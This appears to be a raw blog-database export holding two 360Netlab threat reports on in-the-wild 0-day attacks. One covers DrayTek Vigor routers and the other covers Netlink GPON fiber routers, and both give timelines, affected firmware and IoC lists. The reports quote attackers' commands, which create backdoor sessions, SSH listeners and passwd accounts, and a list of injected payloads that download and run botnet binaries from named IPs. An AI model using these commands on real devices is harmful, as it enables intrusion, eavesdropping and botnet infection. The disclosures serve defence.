json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
2. Attacker B further creates SSH backdoors on TCP / 22335 and TCP / 32459;
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
3. A system backdoor account wuwuhanhan:caonimuqin is added as well.
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
Web Session backdoor
When we study the 0-day PoC, we noticed that when the session parameter updatetime is set to 0, DrayTek Vigor network device never logs out unless the device is rebooted.
(aka Auto-Logout: Disable)
Timeline
2019/12/04 We discovered ongoing attacks using the DrayTek Vigor 0-day keyPath vulnerability
2019/12/08 We reached out to a channel to report the vulnerability (but only later on found it did not work out)
2019/12/25 We disclosed on twitter the IoC and provided more details to some national CERTs.
2020/01/28 We discovered ongoing attacks using the DrayTek Vigor 0-day rtick vulnerability
2020/02/01 MITRE published the CVE-2020-8515
2020/02/10 DrayTek released a security bulletin and the latest firmware fix.
Affected firmware list
Vigor2960 < v1.5.1
Vigor300B < v1.5.1
Vigor3900 < v1.5.1
VigorSwitch20P2121 <= v2.3.2
VigorSwitch20G1280 <= v2.3.2
VigorSwitch20P1280 <= v2.3.2
VigorSwitch20G2280 <= v2.3.2
VigorSwitch20P2280 <= v2.3.2
Suggestions
We recommend that DrayTek Vigor users check and update their firmwares in a timely manner, and check whether there is a tcpdump process, SSH backdoor account, Web Session backdoor, etc on their systems.
We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.
IoC list
MD5
7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007
URL
http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php
Scanner IP
103.82.143.51 Korea ASN136209 Korea Fast Networks
178.151.198.73 Ukraine ASN13188 Content Delivery Network Ltd
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author: [Yanlong Ma](https://twitter.com/_O_owl), [Genshen Ye](https://twitter.com/zom3y3), [Hongda Liu](https://twitter.com/_E_nn_)*\n\n### Background\nFrom December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[[1\\]](https://www.draytek.com/) Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and even creating a specific Malicious Web Session backdoor.\n\nOn December 25, 2019, due to the highly malicious nature of the attack, we disclosed on Twitter[[2\\]](https://twitter.com/360Netlab/status/1209763610525757443)[[3\\]](https://twitter.com/360Netlab/status/1209763784572555264) the ongoing 0-day attack IoC without mentioning the vendor name or product lines. We also provided more details to some national CERTs.\n\nOn February 10, 2020, the manufacturer DrayTek issued a security bulletin[[4\\]](https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/), which fixed the vulnerability and released the latest firmware program 1.5.1. (here we actually have an easter egg we might talk about later)\n\n### Vulnerability analysis\nWith the help of 360 Firmware Total system [[5\\]](https://ft.iotsec.360.cn/), we are able to perform vulnerability research . The two 0-day vulnerability command injection points are `keyPath` and `rtick`, located in the `/www/cgi-bin/mainfunction.cgi`, and the corresponding Web Server program is `/usr/sbin/lighttpd`.\n\n#### keyPath command injection vulnerability analysis\nVulnerability type: unauthorized remote command execution vulnerability\nVulnerability details: Two account password transmission methods are supported by the DrayTek devices, plain text and RSA encrypted transmission.\n\nFor RSA encrypted transmission, the interaction logic is:\n1. The web front end uses the RSA public key to encrypt the username and password, and uses a `keyPath` field to specify the file suffix of the RSA private key to initiate a login request;\n2. When the `formLogin()` function in the `/www/cgi-bin/mainfunction.cgi` detects that the `keyPath` field is not empty, the decryption starts;\n3. `formLogin()` uses the `keyPath` as input to craft the following path `/tmp/rsa/private_key_<keyPath>` as the RSA private key;\n4. `formLogin()` performs Base64 decode on the username and password fields, writes them to the `/tmp/rsa/binary_loginfile`, and executes the following command to decrypt the username and password\n ```sh\n openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login\n ```\n5. Finally, the `formLogin()` function takes the decrypted user name and password to continue the verification.\n\nThe issue here is that `keyPath` does not have very strong input control, which makes unauthorized remote command execution possible.\n\nBug fix: In version 1.5.1, `keyPath` sets the field length a limit of 30, and the content must be hexadecimal characters.\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\" class=\"kg-image\"/></a>\n\n#### rtick command injection vulnerability analysis\nVulnerability Type: unauthorized remote command execution vulnerability\nVulnerability details: When `/www/cgi-bin/mainfunction.cgi` needs to access verification code, it calls the function `formCaptcha()`, the function does not check the incoming timestamp from rtick, and calls /usr/sbin/captcha directly to generate `<rtick>.gif` the CAPTCHA image, which makes command injection possible.\n\nBug fix: In version 1.5.1, the vendor limits the rtick field to use only [0-9].\n<a href=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\"><img src=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\" class=\"kg-image\"/></a>\n\n### Analysis of wild 0-day attacks\n#### Attack Group A\n1. Attacker A uses the `keyPath` command injection vulnerability to download and execute the `http://103.82.143.51:58172/vig/tcpst1` script, and then further downloads and executes the following script.\n\n```\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\n```\n\n2. The script `/etc/mailsend.sh`is used to eavesdrop on all network interfaces on the DrayTek Vigor network device to listen on the ports 21, 25, 143, and 110. The tcpdump command `/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &\n`runs in the background, and a crontab is in place to upload the captured packets to `https://103.82.143.51:58443/uploLSkciajUS.php` every Monday, Wednesday, Friday at 0:00.\n\n\n#### Attack group B\n1. Attacker B uses the rtick command injection vulnerability to create 2 sets of Web Session backdoors that never expires in the file `/var/session.json`\n```\njson -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\njson -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\n```\n2. Attacker B further creates SSH backdoors on TCP / 22335 and TCP / 32459;\n```\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT\n```\n3. A system backdoor account `wuwuhanhan:caonimuqin` is added as well.\n```\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\n```\n\n### Web Session backdoor\nWhen we study the 0-day PoC, we noticed that when the session parameter `updatetime` is set to 0, DrayTek Vigor network device never logs out unless the device is rebooted. \n(aka Auto-Logout: Disable)\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\" class=\"kg-image\"/></a>\n\n### Timeline\n```\n2019/12/04 We discovered ongoing attacks using the DrayTek Vigor 0-day keyPath vulnerability\n2019/12/08 We reached out to a channel to report the vulnerability (but only later on found it did not work out)\n2019/12/25 We disclosed on twitter the IoC and provided more details to some national CERTs.\n2020/01/28 We discovered ongoing attacks using the DrayTek Vigor 0-day rtick vulnerability\n2020/02/01 MITRE published the CVE-2020-8515\n2020/02/10 DrayTek released a security bulletin and the latest firmware fix.\n```\n\n### Affected firmware list\n```\nVigor2960 < v1.5.1\nVigor300B < v1.5.1\nVigor3900 < v1.5.1\nVigorSwitch20P2121 <= v2.3.2\nVigorSwitch20G1280 <= v2.3.2\nVigorSwitch20P1280 <= v2.3.2\nVigorSwitch20G2280 <= v2.3.2\nVigorSwitch20P2280 <= v2.3.2\n```\n\n### Suggestions\nWe recommend that DrayTek Vigor users check and update their firmwares in a timely manner, and check whether there is a tcpdump process, SSH backdoor account, Web Session backdoor, etc on their systems.\n\nWe recommend the following IoCs to be monitored and blocked on the networks where it is applicable.\n\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab at 360 dot cn.\n\n### IoC list\n\nMD5\n```\n7c42b66ef314c466c1e3ff6b35f134a4\n01946d5587c2774418b5a6c181199099\nd556aa48fa77040a03ab120b4157c007\n```\n\nURL\n```\nhttp://103.82.143.51:58172/vig/tcpst1\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\nhttps://103.82.143.51:58443/LSOCAISJDANSB.php\nhttps://103.82.143.51:58443/uploLSkciajUS.php\n```\n\nScanner IP\n```\n103.82.143.51 \tKorea ASN136209 \tKorea Fast Networks \n178.151.198.73 \tUkraine \tASN13188 \tContent Delivery Network Ltd\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e7df58b7646030007b27094 |
post | null | 2020-04-09T07:54:13.000Z | 63873b9a8b1c1e0007f52f6b | multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day | 0 | 2022-02-09T07:08:35.000Z | public | published | null | 2020-04-15T13:30:00.000Z | 多款光纤路由器设备在野0-day漏洞简报 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a>，<a href="https://twitter.com/IUnKnow84503351">涂凌鸣</a>，<a href="https://twitter.com/SethKingHi">金晔</a></em></p>
<h3 id="">大致情况</h3>
<p>这是我们过去30天内的第3篇IoT 0-day漏洞文章，之前我们还披露了DrayTek Router在野0-day漏洞分析报告[<a href="__GHOST_URL__/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/">1]</a>，LILIN DVR在野0-day漏洞分析报告[<a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/">2]</a>。我们观察到僵尸网络存在相互竞争获取更多的Bot规模的情况，其中有些僵尸网络拥有一些0-day漏洞资源，这使它们看起来与众不同。我们正在研究并观察IoT Botnet使用0-day漏洞传播是否是一个新趋势。</p>
<p>2020年2月28日，360Netlab未知威胁检测系统注意到Moobot僵尸网络[<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">3]</a>开始使用一种我们从未见过的新漏洞(多个步骤)，并且可以成功攻击受影响的设备。</p>
<p>2020年3月17日，我们确认此漏洞为0-day漏洞，并将结果报告给CNCERT。</p>
<p>2020年3月18日，Exploit Database[<a href="https://www.exploit-db.com/exploits/48225">4]</a>网站发布了Netlink GPON路由器远程命令执行漏洞PoC，这与我们发现的在野0-day漏洞特征一致。但是，该PoC遗漏了关键的一个步骤，因此实际被注入的命令并不能成功执行。</p>
<p>2020年3月19日，我们与相关厂商联系，被告知设备出厂默认都只开放在LAN侧，确认存在漏洞。</p>
<p>2020年3月19日，我们注意到一个攻击者根据公开的PoC传播Gafgyt僵尸网络。在3月26号，该攻击者将该漏洞集成到Bot中，并进行互联网范围内蠕虫式扫描。<br>
<a href="__GHOST_URL__/content/images/2020/04/image1.png"><img src="__GHOST_URL__/content/images/2020/04/image1.png" class="kg-image"/></a></p>
<p>幸运的是，该PoC遗漏了关键的一个步骤，扫描通常会失败。<br>
<a href="__GHOST_URL__/content/images/2020/04/scanner.png"><img src="__GHOST_URL__/content/images/2020/04/scanner.png" class="kg-image"/></a></p>
<p>2020年3月24日，我们注意到另一个攻击者根据公开的PoC传播Fbot僵尸网络，也很快地结束了传播。</p>
<p>目前，我们已经发现共有9款型号的路由器中存在同样的漏洞，很可能他们都是同一原始供应商的OEM产品。</p>
<h3 id="target_addr">target_addr命令注入漏洞分析</h3>
<p>漏洞类型：需要授权的远程命令执行漏洞<br>
漏洞原因：在设备 <code>/bin/boa</code> Web服务端程序内，存在2个函数<code>formPing()</code>和<code>formTracert()</code>。它们在处理 <code>/boaform/admin/formPing</code> POST请求时，未检查<code>target_addr</code>参数就调用系统<code>ping</code>命令，从而导致命令注入漏洞。<a href="__GHOST_URL__/content/images/2020/04/ping.png"><img src="__GHOST_URL__/content/images/2020/04/ping.png" class="kg-image"/></a></p>
<h3 id="">注入命令列表</h3>
<pre><code>%3Bwget%20http://45.58.148.50/n%20-O-|sh
%3Bwget%20http://185.61.138.46/n%20-O-|sh
%3Bwget%20http://194.180.224.13/n%20-O-|sh
%3Bwget%20http://194.180.224.113/n%20-O-|sh
;'+payload+'%20/
;cd /tmp; rm -rf *; busybox wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/netlink; chmod 777 netlink; ./netlink /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/polaris.mips; chmod 777 polaris.mips; ./polaris.mips /
;cd /tmp; rm -rf *; wget http://6735a55d.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/sh; chmod 777 sh; sh sh; rm -rf * /
;cd /tmp; rm -rf mips; wget http://164.132.92.168:6479/bins/mips; busybox wget http://164.132.92.168:6479/bins/mips; chmod 777 mips; ./mips /
;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /
;ls /
;wget http://194.180.224.249/bignigger
;wget http://194.180.224.249/muck.sh -O - | sh
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议相关运营商检查是否存在漏洞型号设备，默认账号密码等问题，并更新设备固件系统。</p>
<p>我们建议读者对相关域名、IP和URL进行监控和封锁。</p>
<p>使用我们DNSmon的用户，本文涉及的IoC相关域名很早就被自动阻断访问。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioclist">IoC list</h3>
<p>C2</p>
<pre><code>nlocalhost.wordtheminer.com:9746
164.132.92.173:123
51.254.23.237:100
attack.niggers.me:443
</code></pre>
<p>MD5</p>
<pre><code>0a99f9b0472e2e4b9b20657cdde90bbb
0b00195d6162464cbb058024301fc4f3
0bd6066e0fab5d189dc32a7025c99b4d
006581bacd9109b1bf9ee226e4b53c69
05cbda6d4461900bfedf1d126a1f281a
05078ea74df7bb588b5bf984dd0c357f
07b3523f46aa5ed101c0a9f27a0464d9
089a20cf6b2380348f603acf70d8e998
0928b37ce3a9198bdc7c3f54baac396a
1f6874ecffc52d54a4675d7246e326ad
3c08f24b98fb6f9c6b1c9ff20e5a2d1f
3cc06f2dc303be2375fef418b58e42ca
4b4f95d7197f0b0ee84d5ae3941c62b4
5ed943a527353324fa3192b4aaa39b03
6fb9a25d3f645ec6e7ed74801fbd3e16
7ad034dc8413956d480b8f348c890c33
7cfa0eed3a610e0d8e415110b3e65190
7e735868bc62ccae67512847b2a75c9d
8af7c440b85e2c44a2a15fde317c6f65
8b708283e5515f6b4438224124f671c4
8be297b73621818d872c711234b3daec
9a4a798ddabbb58f02773641b618cb74
9cd6deb2d2637243cb4eb11cac6d5cb2
18be5888d4e0da8933fced78f9fb0960
24c328bd0fef770212e3e03be8024993
24ed1ceccdadc19da00aebc3e769d794
25e8d81f0c5157adef22a32c74114e8c
38a6342ed08ccae066858a246d67f73d
50a997f7b5bd1018946caf9117874227
55c4ba138f8679fac72b48ab3566d888
56c71251ebd86c96b6a9c615424a6c8e
80f210834cbbc5415e6045c24b399835
82bae571fdfec253fe293311ce4e9c0d
82cb1a36cc1b659e81e1fe3a5eb5abb6
83c279c71cea9d8ab5b6bd0b2a5aa0f1
93f4f875eb0a77abdc138bdd3dc72ec7
99ee1cc30563217124f11627300661d5
223cb9629da3f70d145207763f081e01
413ba8d86b38a04b7263fc8aa8fb14e6
570dca60a3a719962d92ef4549261903
592c30e702806f57a9158db25750928c
723ebfee5a8d7695fcfafffa75fc40ab
885a52c1950be769b8659889473dc918
949eed7cfe25e6e340aec864fd4becdb
1137f1737e59324e1c237cbe8b91bc57
3386ee08387596f4edc6881caf2407cc
7472ba599c4e6427ccddeabdc031035d
9933d4f6dcb59d1344a47a29c79ff619
73258bf7b4784c551f40cbe672e2748e
76154ed76f33b66973d119c43200f194
91558b8e5ea1a892dc21181460c3e0eb
534798f4d3ea49d6378258358eed10de
623306bcdb9c7ceef47fb47c3266aee9
733270de5536997f0b5f23b8b4f21587
2005292c8c5d4d67b4d051f981a50981
3404206dc241f0865e6b2091f0e506c6
6111797820074d3490daedb22003321e
a5c256db29494179e817ea7c1974773e
a2763e44896d946937b5c9f9f3171d95
aa925baa97fab54a80485c82b64104c7
ab6c2fa4af05c20909d1383091287e5b
b053d3e6d89a26c4c8edf19cde775d90
b8bfde19f504d0c0e55e830a9439d8d9
b918ac324f4ea6b1b8773d2899318555
bc458b7d42cac8d41aa02a752a75542e
bd2d93ec4eabb6578c370ab5dbc26ded
c5e508ea2f0c4c34c7917201346b0893
c6af537d5de188d142658377a51d2212
c800304fb7e6845986d673ce39cbb2d0
cb3fdb886b993e6179a24ec733714882
cdc8cae31e929d99f9aab047329954e5
d1b97657a7e9c75003e522adf0f606f3
d8498b50166021c97c153e33088b2b87
dbb6b9d0bec577e853f85644774608d3
de6bb3ec243cae920cb70fb52c40e8d2
df1e5beba9e9635aa5f072133373d3da
e01ab8c37afbfcfb19083163c0045495
eee0f46d0739fb37d552f350b0608334
f80d4bcf45266e62118755f290dd1f51
fbbab3a8befa60093986c1d447629d7e
fc397251bde53241f2a3826395eca61b
fe2c07723d0864bb2c3976058af8c67d
</code></pre>
<p>URL</p>
<pre><code>http://45.58.148.50/n
http://51.254.23.227/bins/mips
http://51.254.23.227/bins/n
http://51.254.23.227/bins/netlink
http://51.254.23.227/bins/polaris.mips
http://164.132.92.168:6479/bins/mips
http://164.132.92.168:6479/bins/viktor.mips
http://185.61.138.46/n
http://194.180.224.13/n
http://194.180.224.113/n
http://194.180.224.249/bignigger
http://194.180.224.249/muck.sh
http://6735a55d.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/sh
</code></pre>
<p>IP</p>
<pre><code>185.61.138.46 Netherlands ASN49349 Dotsi, Unipessoal Lda.
45.58.148.50 United States ASN46844 Sharktech
194.180.224.113 United States ASN44685 Patron Technology Persia Ltd
194.180.224.13 United States ASN44685 Patron Technology Persia Ltd
194.180.224.249 United States ASN44685 Patron Technology Persia Ltd
164.132.92.168 France ASN16276 OVH SAS
164.132.92.173 France ASN16276 OVH SAS
51.254.23.227 France ASN16276 OVH SAS
51.254.23.237 France ASN16276 OVH SAS
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，叶根深，涂凌鸣，金晔
大致情况
这是我们过去30天内的第3篇IoT 0-day漏洞文章，之前我们还披露了DrayTek Router在野0-day漏洞分析报告[1]，LILIN DVR在野0-day漏洞分析报告[2]。我们观察到僵尸网络存在相互竞争获取更多的Bot规模的情况，其中有些僵尸网络拥有一些0-day漏洞资源，这使它们看起来与众不同。我们正在研究并观察IoT Botnet使用0-day漏洞传播是否是一个新趋势。
2020年2月28日，360Netlab未知威胁检测系统注意到Moobot僵尸网络[3]开始使用一种我们从未见过的新漏洞(多个步骤)，并且可以成功攻击受影响的设备。
2020年3月17日，我们确认此漏洞为0-day漏洞，并将结果报告给CNCERT。
2020年3月18日，Exploit Database[4]网站发布了Netlink GPON路由器远程命令执行漏洞PoC，这与我们发现的在野0-day漏洞特征一致。但是，该PoC遗漏了关键的一个步骤，因此实际被注入的命令并不能成功执行。
2020年3月19日，我们与相关厂商联系，被告知设备出厂默认都只开放在LAN侧，确认存在漏洞。
2020年3月19日，我们注意到一个攻击者根据公开的PoC传播Gafgyt僵尸网络。在3月26号，该攻击者将该漏洞集成到Bot中，并进行互联网范围内蠕虫式扫描。
幸运的是，该PoC遗漏了关键的一个步骤，扫描通常会失败。
2020年3月24日，我们注意到另一个攻击者根据公开的PoC传播Fbot僵尸网络，也很快地结束了传播。
目前，我们已经发现共有9款型号的路由器中存在同样的漏洞，很可能他们都是同一原始供应商的OEM产品。
target_addr命令注入漏洞分析
漏洞类型：需要授权的远程命令执行漏洞
漏洞原因：在设备 /bin/boa Web服务端程序内，存在2个函数formPing()和formTracert()。它们在处理 /boaform/admin/formPing POST请求时，未检查target_addr参数就调用系统ping命令，从而导致命令注入漏洞。
注入命令列表
%3Bwget%20http://45.58.148.50/n%20-O-|sh
%3Bwget%20http://185.61.138.46/n%20-O-|sh
%3Bwget%20http://194.180.224.13/n%20-O-|sh
%3Bwget%20http://194.180.224.113/n%20-O-|sh
;'+payload+'%20/
;cd /tmp; rm -rf *; busybox wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/netlink; chmod 777 netlink; ./netlink /
;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/polaris.mips; chmod 777 polaris.mips; ./polaris.mips /
;cd /tmp; rm -rf *; wget http://6735a55d.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/mips; chmod 777 mips; ./mips; rm -rf * /
;cd /tmp; rm -rf *; wget http://58680dd9.ngrok.io/bins/sh; chmod 777 sh; sh sh; rm -rf * /
;cd /tmp; rm -rf mips; wget http://164.132.92.168:6479/bins/mips; busybox wget http://164.132.92.168:6479/bins/mips; chmod 777 mips; ./mips /
;cd /tmp; rm -rf viktor.mips; wget http://164.132.92.168:6479/bins/viktor.mips; busybox wget http://164.132.92.168:6479/bins/viktor.mips; chmod 777 viktor.mips; ./viktor.mips /
;ls /
;wget http://194.180.224.249/bignigger
;wget http://194.180.224.249/muck.sh -O - | sh
处置建议
我们建议相关运营商检查是否存在漏洞型号设备，默认账号密码等问题，并更新设备固件系统。
我们建议读者对相关域名、IP和URL进行监控和封锁。
使用我们DNSmon的用户，本文涉及的IoC相关域名很早就被自动阻断访问。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC list
C2
nlocalhost.wordtheminer.com:9746
164.132.92.173:123
51.254.23.237:100
attack.niggers.me:443
MD5
0a99f9b0472e2e4b9b20657cdde90bbb
0b00195d6162464cbb058024301fc4f3
0bd6066e0fab5d189dc32a7025c99b4d
006581bacd9109b1bf9ee226e4b53c69
05cbda6d4461900bfedf1d126a1f281a
05078ea74df7bb588b5bf984dd0c357f
07b3523f46aa5ed101c0a9f27a0464d9
089a20cf6b2380348f603acf70d8e998
0928b37ce3a9198bdc7c3f54baac396a
1f6874ecffc52d54a4675d7246e326ad
3c08f24b98fb6f9c6b1c9ff20e5a2d1f
3cc06f2dc303be2375fef418b58e42ca
4b4f95d7197f0b0ee84d5ae3941c62b4
5ed943a527353324fa3192b4aaa39b03
6fb9a25d3f645ec6e7ed74801fbd3e16
7ad034dc8413956d480b8f348c890c33
7cfa0eed3a610e0d8e415110b3e65190
7e735868bc62ccae67512847b2a75c9d
8af7c440b85e2c44a2a15fde317c6f65
8b708283e5515f6b4438224124f671c4
8be297b73621818d872c711234b3daec
9a4a798ddabbb58f02773641b618cb74
9cd6deb2d2637243cb4eb11cac6d5cb2
18be5888d4e0da8933fced78f9fb0960
24c328bd0fef770212e3e03be8024993
24ed1ceccdadc19da00aebc3e769d794
25e8d81f0c5157adef22a32c74114e8c
38a6342ed08ccae066858a246d67f73d
50a997f7b5bd1018946caf9117874227
55c4ba138f8679fac72b48ab3566d888
56c71251ebd86c96b6a9c615424a6c8e
80f210834cbbc5415e6045c24b399835
82bae571fdfec253fe293311ce4e9c0d
82cb1a36cc1b659e81e1fe3a5eb5abb6
83c279c71cea9d8ab5b6bd0b2a5aa0f1
93f4f875eb0a77abdc138bdd3dc72ec7
99ee1cc30563217124f11627300661d5
223cb9629da3f70d145207763f081e01
413ba8d86b38a04b7263fc8aa8fb14e6
570dca60a3a719962d92ef4549261903
592c30e702806f57a9158db25750928c
723ebfee5a8d7695fcfafffa75fc40ab
885a52c1950be769b8659889473dc918
949eed7cfe25e6e340aec864fd4becdb
1137f1737e59324e1c237cbe8b91bc57
3386ee08387596f4edc6881caf2407cc
7472ba599c4e6427ccddeabdc031035d
9933d4f6dcb59d1344a47a29c79ff619
73258bf7b4784c551f40cbe672e2748e
76154ed76f33b66973d119c43200f194
91558b8e5ea1a892dc21181460c3e0eb
534798f4d3ea49d6378258358eed10de
623306bcdb9c7ceef47fb47c3266aee9
733270de5536997f0b5f23b8b4f21587
2005292c8c5d4d67b4d051f981a50981
3404206dc241f0865e6b2091f0e506c6
6111797820074d3490daedb22003321e
a5c256db29494179e817ea7c1974773e
a2763e44896d946937b5c9f9f3171d95
aa925baa97fab54a80485c82b64104c7
ab6c2fa4af05c20909d1383091287e5b
b053d3e6d89a26c4c8edf19cde775d90
b8bfde19f504d0c0e55e830a9439d8d9
b918ac324f4ea6b1b8773d2899318555
bc458b7d42cac8d41aa02a752a75542e
bd2d93ec4eabb6578c370ab5dbc26ded
c5e508ea2f0c4c34c7917201346b0893
c6af537d5de188d142658377a51d2212
c800304fb7e6845986d673ce39cbb2d0
cb3fdb886b993e6179a24ec733714882
cdc8cae31e929d99f9aab047329954e5
d1b97657a7e9c75003e522adf0f606f3
d8498b50166021c97c153e33088b2b87
dbb6b9d0bec577e853f85644774608d3
de6bb3ec243cae920cb70fb52c40e8d2
df1e5beba9e9635aa5f072133373d3da
e01ab8c37afbfcfb19083163c0045495
eee0f46d0739fb37d552f350b0608334
f80d4bcf45266e62118755f290dd1f51
fbbab3a8befa60093986c1d447629d7e
fc397251bde53241f2a3826395eca61b
fe2c07723d0864bb2c3976058af8c67d
URL
http://45.58.148.50/n
http://51.254.23.227/bins/mips
http://51.254.23.227/bins/n
http://51.254.23.227/bins/netlink
http://51.254.23.227/bins/polaris.mips
http://164.132.92.168:6479/bins/mips
http://164.132.92.168:6479/bins/viktor.mips
http://185.61.138.46/n
http://194.180.224.13/n
http://194.180.224.113/n
http://194.180.224.249/bignigger
http://194.180.224.249/muck.sh
http://6735a55d.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/mips
http://58680dd9.ngrok.io/bins/sh
IP
185.61.138.46 Netherlands ASN49349 Dotsi, Unipessoal Lda.
45.58.148.50 United States ASN46844 Sharktech
194.180.224.113 United States ASN44685 Patron Technology Persia Ltd
194.180.224.13 United States ASN44685 Patron Technology Persia Ltd
194.180.224.249 United States ASN44685 Patron Technology Persia Ltd
164.132.92.168 France ASN16276 OVH SAS
164.132.92.173 France ASN16276 OVH SAS
51.254.23.227 France ASN16276 OVH SAS
51.254.23.237 France ASN16276 OVH SAS
